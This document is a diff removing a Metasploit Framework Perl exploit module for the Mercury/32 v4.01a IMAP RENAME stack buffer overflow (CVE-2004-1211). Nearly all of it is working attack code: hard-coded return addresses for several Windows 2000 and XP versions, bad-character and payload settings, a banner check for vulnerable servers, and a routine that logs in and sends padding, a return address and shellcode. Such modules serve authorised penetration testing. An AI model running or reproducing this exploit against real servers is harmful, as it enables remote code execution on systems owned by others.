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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::mercury_imap;
- use strict;
- use base 'Msf::Exploit';
- use Msf::Socket::Tcp;
- use Pex::Text;
-
- my $advanced = {
- };
-
- my $info = {
- 'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
- 'Version' => '$Revision: 1.3 $',
- 'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32'],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 143],
- 'USER' => [1, 'DATA', 'IMAP Username'],
- 'PASS' => [1, 'DATA', 'IMAP Password'],
- },
-
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
- 'Payload' =>
- {
- 'Space' => 500,
- 'BadChars' => "\x00\x0a\x0d\x20",
- 'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- Mercury/32 v4.01a IMAP server is prone to a remotely exploitable
- stack-based buffer overflow vulnerability. This issue is due
- to a failure of the application to properly bounds check
- user-supplied data prior to copying it to a fixed size memory buffer.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '12508'],
- ['CVE','2004-1211'],
- ['BID', '11775'],
- ['NSS', '15867'],
- ['MIL', '98'],
- ],
-
- 'Targets' =>
- [
- ['Windows 2000 SP4 English', 0x7c2f8498 ],
- ['Windows 2000 SP4 English', 0x7846107b],
- ['Windows XP Pro SP0 English', 0x77dc0df0 ],
- ['Windows XP Pro SP1 English', 0x77e53877 ],
- ],
-
- 'Keys' => ['imap'],
-
- 'DisclosureDate' => 'Nov 29 2004',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
-
- return($self);
- }
-
- sub Check {
- my ($self) = @_;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("a001 LOGOUT\r\n");
- my $res = $s->Recv(-1, 20);
- $s->Close();
-
- if ($res !~ /Mercury\/32 v4\.01a/) {
- $self->PrintLine("[*] This server does not appear to be vulnerable.");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("[*] Vulnerable installation detected :-)");
- return $self->CheckCode('Detected');
- }
-
- sub Exploit {
- my $self = shift;
-
- my $targetHost = $self->GetVar('RHOST');
- my $targetPort = $self->GetVar('RPORT');
- my $targetIndex = $self->GetVar('TARGET');
- my $user = $self->GetVar('USER');
- my $pass = $self->GetVar('PASS');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $shellcode = $encodedPayload->Payload;
- my $target = $self->Targets->[$targetIndex];
-
- my $sock = Msf::Socket::Tcp->new(
- 'PeerAddr' => $targetHost,
- 'PeerPort' => $targetPort,
- );
-
- if($sock->IsError) {
- $self->PrintLine('Error creating socket: ' . $sock->GetError);
- return;
- }
-
- my $resp = $sock->Recv(-1);
- chomp($resp);
- $self->PrintLine('[*] Got Banner: ' . $resp);
-
- my $sploit = "a001 LOGIN $user $pass\r\n";
- $sock->Send($sploit);
- my $resp = $sock->Recv(-1);
- if($sock->IsError) {
- $self->PrintLine('Socket error: ' . $sock->GetError);
- return;
- }
- if($resp !~ /^a001 OK LOGIN/) {
- $self->PrintLine('Login error: ' . $resp);
- return;
- }
- $self->PrintLine('[*] Logged in, sending overflow...');
-
- my $splat = Pex::Text::UpperCaseText(260);
- $sploit =
- "a001 RENAME ". $splat. pack('V', $target->[1]).
- $shellcode. "\r\n";
-
- $sock->Send($sploit);
-
- my $resp = $sock->Recv(-1);
- if(length($resp)) {
- $self->PrintLine('[*] Got response, bad: ' . $resp);
- }
- return;
- }
-
- 1;
-